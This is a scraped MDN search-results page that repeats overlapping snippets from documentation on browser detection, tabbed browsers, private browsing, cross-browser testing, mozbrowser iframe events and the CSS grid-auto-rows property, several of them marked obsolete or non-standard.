Search completed in 1.20 seconds.
4899 results for "rows":
Your results are loading. Please wait...
Browser Detection and Cross Browser Support - Archive of obsolete content
warning: the content of this article may be out of date. this article was written in 2003 and is not on par with current standards. this article is outdated, do not follow it. have a look to the more current article writing forward-compatible websites to find modern informations. improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. ...
...standards. this article is outdated, do not follow it. have a look to the more current article writing forward-compatible websites to find modern informations. improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. ...
... can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. quick tip if you must determine if a visitor is using a gecko-based browser, simply test navigator.product == 'gecko' or look for the string 'gecko/' in the navigator.useragent. note that some other browsers such as safari are reporting (like gecko) in their user agent strings and can confuse simple tests. introduction in an ideal world, we could author html, xml, css and javascript and only worry about the w3c and ecma standards. however, we don't quite live in su...
...And 87 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
that new page may have links that take you to other pages, which may in turn have more links, and so on. this model of web navigation is so common that most internet users do little else. but as the internet matures, this model has begun to show its age and its limitations. ...
...net users do little else. but as the internet matures, this model has begun to show its age and its limitations. for web developers, for example, it provides less fine-grained control over the experience, and it can strain bandwidth and other resources. and for users it usually doesn't begin to approach the seamlessness and usability of good application user interfaces. recently, however, modern browsers and enriched web standards have begun to make new navigational and presentational models possible. one such model is inner-browsing, which is our name for a model in which all navigation occurs within a single page, as in a typical application interface. the single-page context and abstraction of data from the presentation can give your web applications new continuity, precision and control. t...
...or a model in which all navigation occurs within a single page, as in a typical application interface. the single-page context and abstraction of data from the presentation can give your web applications new continuity, precision and control. this model is also interesting because is optimized to access contextual data instead reloading full web pages. this article discusses the concept of inner-browsing and possible approaches for its implementation. it also provides two implementation examples using the model. the first one looks like a traditional dhtml ticker application and uses hidden iframes and javascript to provide updates inside the webpage's ticker headlines section. this sample was made using iframes to illustrate a possible implementation. an implementation can also use other tran...
...And 18 more matches
Tabbed browser - Archive of obsolete content
here you should find a set of useful code snippets to help you work with firefox's tabbed browser. the comments normally mark where you should be inserting your own code. each snippet normally includes some code to run at initialization, these are best run using a load listener. these snippets assume they are run in the context of a browser window. if you need to work with tabs from a non-browser window, you need to obtain a reference to one first, see working with windows in chrome code for details. multiple meanings for the word 'browser' the word 'browser' is used several ways. of course the entire application firefox is called "a browser". ...
...ener. these snippets assume they are run in the context of a browser window. if you need to work with tabs from a non-browser window, you need to obtain a reference to one first, see working with windows in chrome code for details. multiple meanings for the word 'browser' the word 'browser' is used several ways. of course the entire application firefox is called "a browser". within the firefox browser are tabs and inside each tab is a browser, both in the common sense of a web page browser and the xul sense of a browser element. furthermore another meaning of 'browser' in this document and in some firefox source is "the tabbrowser element" in a firefox xul window. ...
...ed several ways. of course the entire application firefox is called "a browser". within the firefox browser are tabs and inside each tab is a browser, both in the common sense of a web page browser and the xul sense of a browser element. furthermore another meaning of 'browser' in this document and in some firefox source is "the tabbrowser element" in a firefox xul window. getting access to the browser from main window code running in firefox's global chromewindow, common for extensions that overlay into browser.xul, can access the tabbrowser element using the global variable gbrowser. ...
...And 84 more matches
Supporting private browsing mode - Archive of obsolete content
this interface is deprecated since firefox 20, and will probably be completely removed in firefox 21.see supporting per-window private browsing for details. firefox 3.5 introduced private browsing mode, in which potentially private information is not recorded. this includes cookies, history information, download information, and so forth. when private browsing mode is enabled, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated. the temporary cookie and local storage databases start out empty. ...
... forth. when private browsing mode is enabled, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated. the temporary cookie and local storage databases start out empty. extensions that may record potentially private information may wish to hook into the private browsing service so that they can avoid saving personal information when private browsing mode is enabled. doing this is quite easy, using the nsiprivatebrowsingservice interface. detecting private browsing mode determining whether or not the user is currently in private browsing mode is simple. just check the value of the privatebrowsingenabled attribute on the nsiprivatebrowsingservice service. var...
...al information when private browsing mode is enabled. doing this is quite easy, using the nsiprivatebrowsingservice interface. detecting private browsing mode determining whether or not the user is currently in private browsing mode is simple. just check the value of the privatebrowsingenabled attribute on the nsiprivatebrowsingservice service. var pbs = components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.nsiprivatebrowsingservice); var inprivatebrowsingmode = pbs.privatebrowsingenabled; if (!inprivatebrowsingmode) { /* save private information */ } in the above example, we only save the user's private information if not in private browsing mode. ...
...And 38 more matches
Introduction to cross browser testing - Learn web development
overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages. objective: to gain an understanding of the high-level concepts involved in cross browser testing. what is cross browser testing? cross browser testing is the practice of making sure that the web sites and web apps you create work across an acceptable number of web browsers. as a web developer, it is your responsibility to make sure that...
...anding of the high-level concepts involved in cross browser testing. what is cross browser testing? cross browser testing is the practice of making sure that the web sites and web apps you create work across an acceptable number of web browsers. as a web developer, it is your responsibility to make sure that not only do your projects work, but they work for all your users, no matter what browser, device, or additional assistive tools they are using. you need to think about: different browsers other than the one or two that you use regularly on your devices, including slightly older browsers that some people might still be using, which don't support all the latest, shiniest css and javascript features. different devices with different capabilities, from the latest greatest tablets a...
... people with disabilities, who use the web with the aid of assistive technologies like screenreaders, or don't use a mouse (some people use only the keyboard). ...
...And 38 more matches
Browser detection using the user agent - HTTP
this document will guide you in doing this as correctly as possible. it's worth re-iterating: it's very rarely a good idea to use user agent sniffing. ...
...this document will guide you in doing this as correctly as possible. it's worth re-iterating: it's very rarely a good idea to use user agent sniffing. ...
...this document will guide you in doing this as correctly as possible. it's worth re-iterating: it's very rarely a good idea to use user agent sniffing. ...
...And 34 more matches
Using the Browser API
Mozilla › Gecko › Chrome › API › Browser API › Using
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications. ...
...ds track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications. it was originally used in firefox os to implement browser applications before that project was cancelled; since firefox 47 it is available to desktop chrome code and used in places like the firefox devtools. it consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, wind...
...n make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface. note: an iframe enhanced by the browser api is commonly referred to as a "browser iframe". we'll be using this term throughout the current article, and other parts of the documentation. demo to demonstrate basic usage of this api, we have created a simple browser api demo that provides buttons allowing you to (re)load web pages, stop loading, move forward and back in history, and zoom in and out of the page. to run the demo, th...
...And 28 more matches
Cross-browser audio basics - Developer guides
this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3. mp4 files typically contain aac encoded audio. ...
...to ensure reasonable coverage, we should specify at least two different formats. ...
...owser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3. mp4 files typically contain aac encoded audio. you can use type="audio/mp4". (currently, browsers that support mp3 also support mp4 audio). here we define an <audio> element with multiple sources — we do this as not all browsers support the same audio formats. to ensure reasonable coverage, we should specify at least two different formats. ...
...And 26 more matches
tabbrowser - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used for holding a set of read-only views of web documents. it is similar to the browser element, except that multiple documents can be displayed, each in a separate tab. note: starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions. ...
...ayed, each in a separate tab. note: starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions. ...
... attributes autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cangoback, cangoforward, contentdocument, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, securityui, selectedbrowser, selectedtab, sessionhistory, tabcontainer, tabs, visibletabs, webbrowserfind, webnavigation, webprogress methods addprogresslistener, addtab, addtabsprogresslistener,appendgroup, getbrowseratindex, getbrowserindexfordocument, getbrowserfordocument, getbrowserfortab, geticon, getnotificationbox, gettabforbrowser, gettabmodalpromptbox, goback, gobackgroup, goforward, goforwardgroup, gohome, go...
...And 23 more matches
Browser Console - Firefox Developer Tools
the browser console is like the web console, but applied to the whole browser rather than a single content tab. so it logs the same sorts of information as the web console - network requests, javascript, css, and security errors and warnings, and messages explicitly logged by javascript code. however, rather than logging this information for a single content tab, it logs information for all content tabs, for add-ons, and for the browser's own code. if you also want to use the other web developer tools in the regular web toolbox with add-on or browser code, consider using the browser toolbox. similarly, you can execute javascript expressions using the browser console. ...
...gle content tab, it logs information for all content tabs, for add-ons, and for the browser's own code. if you also want to use the other web developer tools in the regular web toolbox with add-on or browser code, consider using the browser toolbox. similarly, you can execute javascript expressions using the browser console. but while the web console executes code in the page window scope, the browser console executes them in the scope of the browser's chrome window. this means you can interact with all the browser's tabs using the gbrowser global, and even with the xul used to specify the browser's user interface. nb: the browser console command line (to execute javascript expressions) is disabled by default. to enable it set the devtools.chrome.enabled preference to true in about:config,...
...hem in the scope of the browser's chrome window. this means you can interact with all the browser's tabs using the gbrowser global, and even with the xul used to specify the browser's user interface. nb: the browser console command line (to execute javascript expressions) is disabled by default. to enable it set the devtools.chrome.enabled preference to true in about:config, or set the "enable browser chrome and add-on debugging toolboxes" (firefox 40 and later) option in the developer tool settings. opening the browser console you can open the browser console in one of two ways: from the menu: select "browser console" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on macos). from the keyboard: press ctrl+shift+j (or cmd+shift+j o...
...And 23 more matches
Supporting older browsers - Learn web development
previous overview: css layout next in this module, we recommend using flexbox and grid as the main layout methods for your designs. however, there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. this will always be the case on the web — as new features are developed, different browsers will prioritise different things. this article explains how to use modern web techniques without locking out users of older technology. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand how to provide support for your layouts on older browsers that might not support the features you want to use. wh...
...lains how to use modern web techniques without locking out users of older technology. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand how to provide support for your layouts on older browsers that might not support the features you want to use. what is the browser landscape for your site? every website is different in terms of target audience. before deciding on the approach to take, find out the number of visitors coming to your site using older browsers. this is straightforward if you have an existing website which you are adding to or replacing, as you probably have analytics available which can tell you the technology people are using. if you have n...
... people using assistive technology should always be considered, but for some sites that may be even more critical. in my experience, developers are often very worried about the experience of 1% of users in an old version of internet explorer, while not considering at all the far greater number who have accessibility needs. what is the support for the features you want to use? once you know the browsers that come to your site, you can assess any technology that you want to use against how well it is supported and how easily you can provide an alternative for visitors who do not have that technology available. we are trying to make this easy for you at mdn, by providing browser compatibility information on each page detailing a css property. for example, take a look at the page for grid-templa...
...And 22 more matches
Creating a cross-browser video player - Developer guides
the player controls themselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article. working example our example video player displays a clip from an open source movie called tears of steel, and includes typical video controls. ...
...f="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though this player will define its own custom control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript. ...
... set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript. doing things this way still allows users who have javascript turned off (for whatever reason) to still have access to the browser's native controls. a poster image is defined for the video, and the preload attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file. ...
...And 20 more matches
browser - Archive of obsolete content
other urls will need to use the document and history objects to change the displayed document. ...
...other urls will need to use the document and history objects to change the displayed document. ...
...ents a frame which is expected to contain a view of a web document. it is similar to an iframe except that it holds a page history and contains additional methods to manipulate the currently displayed page. are you here looking for information about the firefox web browser, or because you'd like to download the latest version of firefox? get firefox most of the properties and methods of the browser will rarely be used and can only be called from chrome urls. other urls will need to use the document and history objects to change the displayed document. attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, disablesecurity, droppedlinkhandler, homepage, showcaret, src, type properties accessibletype, cangoback, cangoforward, contentdocu...
...And 19 more matches
Browser API
the html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications. it currently works in (privileged) chrome code on firefox desktop (version 47 and above). browser api concepts and usage the browser api consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface. ...
...ute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface. browser api interfaces to support the requirement of a browser <iframe>, the htmliframeelement dom interface has been extended with new methods that give the <iframe> some super powers. navigation methods the following navigation methods allow navigation through the browsing history of the <iframe>. they are necessary to be able to implement back, forward, stop, and reload buttons. htmliframeelem...
...implement back, forward, stop, and reload buttons. htmliframeelement.reload() allows reloading of the <iframe> element content. htmliframeelement.stop() allows stopping of the <iframe>'s content loading. htmliframeelement.getcangoback() indicates whether it's possible to navigate backwards. htmliframeelement.goback() changes the location of the <iframe> for the previous location in its browsing history. htmliframeelement.getcangoforward() indicates whether it's possible to navigate forward. htmliframeelement.goforward() changes the location of the <iframe> for the next location in its browsing history. management methods the next set of methods manage the resources used by a browser <iframe>. these are especially useful for implementing tabbed browser application. htmlifram...
...And 19 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
this document presents the windows registry keys plugin installers can parse to determine where to install a given plugin (for mozilla browsers) on windows. since the prospect of embedded gecko browsers raises the scenario of more than one gecko-based browser that a netscape-style plugin can work with, it becomes important to let plugin developers know how to discover these browsers on a windows machine. this information applies to mozilla based browsers that pull the mozilla codebase after the mozilla 0.9.1 milestone release. none of the registry keys mentioned here are written by browsers before the mozilla 0.9.1 timeframe. for example, netscape 6.0 and 6.01 do not write any of these keys into the registry, and thus these keys are not available for plugin vendors to parse for these t...
...achine. this information applies to mozilla based browsers that pull the mozilla codebase after the mozilla 0.9.1 milestone release. none of the registry keys mentioned here are written by browsers before the mozilla 0.9.1 timeframe. for example, netscape 6.0 and 6.01 do not write any of these keys into the registry, and thus these keys are not available for plugin vendors to parse for these two browsers. netscape 6.1 and onwards, however, will write these keys, and so creating a plugin installer that puts the shared object (dll) in the right place becomes much easier, since the relevant meta-information is present in the win32 system registry. ...
...the registry, and thus these keys are not available for plugin vendors to parse for these two browsers. netscape 6.1 and onwards, however, will write these keys, and so creating a plugin installer that puts the shared object (dll) in the right place becomes much easier, since the relevant meta-information is present in the win32 system registry. these keys are written by the installer of mozilla browsers -- the netscape 6.2 installer, for example, writes these keys to the registry, and so does the mozilla installer (for versions after mozilla 0.9.1). other major commercial browsers based on gecko have committed to providing these keys as well. ...
...And 16 more matches
HTML forms in legacy browsers - Learn web development
all web developers learn very quickly (and sometimes painfully) that the web is a very rough place for them. our worst curse is legacy browsers. okay, let's admit it, when we said "legacy browser" we all have in mind safari or old versions of internet explorer, but they are far from the only ones. in the mobile world, when neither the browser nor the os can be updated such as on older android phones or iphones, the stock browsers that don't update are also legacy browsers. dealing with this wilderness is part of the job. fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers. and html5 <input> types don't fail when not supported: they fall back to type=text. learn about the issues to understand common patterns, it helps...
... iphones, the stock browsers that don't update are also legacy browsers. dealing with this wilderness is part of the job. fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers. and html5 <input> types don't fail when not supported: they fall back to type=text. learn about the issues to understand common patterns, it helps to read browser documentation. if you are reading this on mdn, you are at the right place to start. just check the support of the elements (or dom interface) you want to use. mdn has compatibility tables available for most elements, properties and apis that can be used in a web page. ...
... the webkit blog and planet webkit aggregate the best articles by webkit core developers. ...
...And 16 more matches
mozbrowsercaretstatechanged
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsercaretstatechanged event is fired when the user selects content in a page loaded in a browser <iframe>. this is used by the embedder to show a context menu for clipboard actions. ...
... bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...he bounding rectangle, in css pixels. top: the top position of the bounding rectangle, in css pixels. bottom: the bottom position of the bounding rectangle, in css pixels. left: the left position of the bounding rectangle, in css pixels. right: the right position of the bounding rectangle, in css pixels. commands an object that defines what commands can currently be executed in the browser <iframe>. its properties are canselectall: a boolean indicating whether the selectall command is available (true) or not (false.) cancut: a boolean indicating whether the cut command is available (true) or not (false.) cancopy: a boolean indicating whether the copy command is available (true) or not (false.) canpaste: a boolean indicating whether the paste command is available (true) ...
...And 15 more matches
grid-auto-rows - CSS: Cascading Style Sheets
the grid-auto-rows css property specifies the size of an implicitly-created grid row track or pattern of tracks. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if a grid item is positioned into a row that is not explicitly sized by grid-template-rows, implicit grid tracks are created to hold it. this can happen either by explicitly positioning into a row that is out of range, or by the auto-placement algorithm creating additional rows. ...
... clone https://github.com/mdn/interactive-examples and send us a pull request. if a grid item is positioned into a row that is not explicitly sized by grid-template-rows, implicit grid tracks are created to hold it. this can happen either by explicitly positioning into a row that is out of range, or by the auto-placement algorithm creating additional rows. ...
.../interactive-examples and send us a pull request. if a grid item is positioned into a row that is not explicitly sized by grid-template-rows, implicit grid tracks are created to hold it. this can happen either by explicitly positioning into a row that is out of range, or by the auto-placement algorithm creating additional rows. ...
...And 15 more matches
Populating the page: how browsers work - Web Performance
users want web experiences with content that is fast to load and smooth to interact with. therefore, a developer should strive to achieve these two goals. to understand how to improve performance and perceived performance, it helps to understand how the browser works. overview fast sites provide better user experiences. users want and expect web experiences with content that is fast to load and smooth to interact with. two major issues in web performance are understanding issues having to do with latency and issues having to do with the fact that for the most part, browsers are single threaded. latency is our main threat to overcome to ensure a fast load. to be fast to load, the developers’ goals include sending requested information as fast as possible, or at least seem super ...
... threaded. latency is our main threat to overcome to ensure a fast load. to be fast to load, the developers’ goals include sending requested information as fast as possible, or at least seem super fast. network latency is the time it takes to transmit bytes over-the-air to computers. web performance is what we have to do to make the page load happen as quickly as possible. for the most part, browsers are considered single threaded. for smooth interactions, the developer's goal is to ensure performant site interactions, from smooth scrolling to being responsive to touch. render time is key, with ensuring the main thread can complete all the work we throw at it and still always be available to handle user interactions. web performance can be improved by understanding the single-threaded natu...
...sidered single threaded. for smooth interactions, the developer's goal is to ensure performant site interactions, from smooth scrolling to being responsive to touch. render time is key, with ensuring the main thread can complete all the work we throw at it and still always be available to handle user interactions. web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are immediate. navigation navigation is the first step in loading a web page. it occurs whenever a user requests a page by entering a url into the address bar, clicking a link, submitting a form, as well as other actions. one of the goals of web perfo...
...And 15 more matches
Developing cross-browser and cross-platform pages - Archive of obsolete content
an important practice when doing cross-browser, cross-platform pages and dhtml development involves the ability to determine the capabilities of the browser which loads your web page. as a web author, you understandably want to avoid script errors and page layout problems and you may want to ensure your scripts reach as wide an audience as possible. there are 2 known approaches for such goals: the browser identification approach (also known as useragent string detection and often referred as "browser sniffing") and the object/feature support detection approach. the browser identification approach is now known to be complicated, unreliable and difficult to maintain. ...
... you may want to ensure your scripts reach as wide an audience as possible. there are 2 known approaches for such goals: the browser identification approach (also known as useragent string detection and often referred as "browser sniffing") and the object/feature support detection approach. the browser identification approach is now known to be complicated, unreliable and difficult to maintain. browser identification approach (aka "browser sniffing"): not best, not reliable approach this approach, still commonly used nowadays, attempts to identify the browser and makes the web author at design time decide what that implies in terms of capabilities of the visiting browser. such approach is fraught with problems and difficulties. it requires from the web author to have knowledge of the capabil...
...oach (aka "browser sniffing"): not best, not reliable approach this approach, still commonly used nowadays, attempts to identify the browser and makes the web author at design time decide what that implies in terms of capabilities of the visiting browser. such approach is fraught with problems and difficulties. it requires from the web author to have knowledge of the capabilities of all current browsers that may visit the page and then to code appropriately for these. it requires from the web author to make assumptions about what will happen with future browsers or to decide to provide future browsers a safe fallback service. it assumes that web authors are able to correctly identify browsers and browser versions in the first place... which is far from being a reliable and easy task to achiev...
...And 13 more matches
mozbrowseraudioplaybackchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseraudioplaybackchange event is fired when audio starts or stops playing within a browser <iframe>. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bub...
... description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only boolean indicates whether audio is playing in the browser. ...
...arget read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only boolean indicates whether audio is playing in the browser. ...
...And 13 more matches
mozbrowserloadstart
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserloadstart event is fired when the browser <iframe> starts to load a new page. this can be used when the embedder wants to start spinning a loading indicator, or update the ui in some other way to indicate loading has started. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the...
...y type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
...on target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
...And 13 more matches
mozbrowsermetachange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsermetachange event is fired when a <meta> element related to web applications is added, removed or changed. see below for the applicable types. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only...
... content a domstring representing the <meta> content attribute value, i.e. the content of the meta tag. type a domstring representing the type of meta change that this event object represents. this can be added, changed, removed, or undefined. lang optional a domstring representing the <meta> name attribute value, if included. if not included, the value returned is undefined. ...
... content attribute value, i.e. the content of the meta tag. type a domstring representing the type of meta change that this event object represents. this can be added, changed, removed, or undefined. lang optional a domstring representing the <meta> name attribute value, if included. if not included, the value returned is undefined. ...
...And 13 more matches
mozbrowseropenwindow
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseropenwindow event is fired when a new window is required — usually when the content of a browser <iframe> successfully calls the window.open() method, or the user clicks on a link with an unknown target. the embedder must use the <iframe> passed in the event.details.frameelement property as the new window content. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property ...
...cks on a link with an unknown target. the embedder must use the <iframe> passed in the event.details.frameelement property as the new window content. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following proper...
... cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: url a domstring representing the url of the document loaded within the frameelement property. ...
...And 13 more matches
private-browsing - Archive of obsolete content
check whether a given object is private, so an add-on can respect private browsing usage per-window private browsing private browsing status is a property of an individual browser window. the user enters private browsing by opening a new private browser window. when they do this, any existing non-private windows are kept open, so the user will typically have both private and non-private windows open at the same time. ...
...add-on can respect private browsing usage per-window private browsing private browsing status is a property of an individual browser window. the user enters private browsing by opening a new private browser window. when they do this, any existing non-private windows are kept open, so the user will typically have both private and non-private windows open at the same time. ...
...te browsing private browsing status is a property of an individual browser window. the user enters private browsing by opening a new private browser window. when they do this, any existing non-private windows are kept open, so the user will typically have both private and non-private windows open at the same time. ...
...And 12 more matches
mozbrowserasyncscroll
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserasyncscroll event is fired when the content of a browser <iframe> is scrolled. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. can...
...ubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: top the scroll top position in css pixels of the document within the browser <iframe>. left the scroll left position in css pixels of the document within the browser <iframe>. width the width in css pixels of the visible part of the document within the browser <iframe>. height the height in css pixels of the visible part of the document within the browser <iframe>. scrollwidth the total content width in css pixels of the document within the browser <iframe>. sc...
... note: top + height may be larger than scrollheight. this indicates that the content is over-scrolled, which occurs when the page "rubber-bands" after being scrolled all the way to the bottom. similarly, left + width may be greater than scrollwidth, and both left and top may be negative. note: for performance reasons, this event is asynchronous. ...
...And 12 more matches
mozbrowserclose
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserclose event is fired when the content of a browser <iframe> calls the window.close() method. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean ...
...s property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
... target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
...And 12 more matches
mozbrowsercontextmenu
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsercontextmenu event is fired when the user tried to access a context menu over a browser <iframe>. this event can be used to control what will appear in the menu. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. ...
... bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: clientx the x value of the coordinate that was clicked inside the browser <iframe>'s viewport. clienty the y value of the coordinate that was clicked inside the browser <iframe>'s viewport. systemtargets an array containing one or more menusystem objects (see the menusystem object, below), containing details of the standard menu(s) that will be shown. for example, if the user clicked on an image nested in an <a> tag, two menus are available — one with informati...
...nu item's icon, if the context menu being accessed is a menu item. id the menu item's id, if the context menu being accessed is a menu item. this is passed to the contextmenuitemselected() function, to indicate which item has been selected. items an array of further menu objects, which indicate the menu options available in a menu, if the context menu being accessed is a menu. ...
...And 12 more matches
mozbrowsericonchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsericonchange event is sent when a new icon (e.g. <link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s content. ...
... bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
... anonymous javascript object with the following properties: href a domstring representing the path to the new icon. sizes a domstring listing the sizes the new icon is available in, e.g. "16x16" or "16x16 32x32". the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value from the <link> element used to link to the icon. ...
...And 12 more matches
mozbrowserlocationchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserlocationchange event is fired when a browser <iframe>'s location changes — it is fired every time navigation occurs. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether ...
...senting the url of the new location. cangoback a boolean that defines whether it's possible to go back in the navigation history (true) or not (false). cangoforward a boolean that defines whether it's possible to go forward in the navigation history (true) or not (false). example this example updates the url bar so that it will always display the correct url for the current location. ...
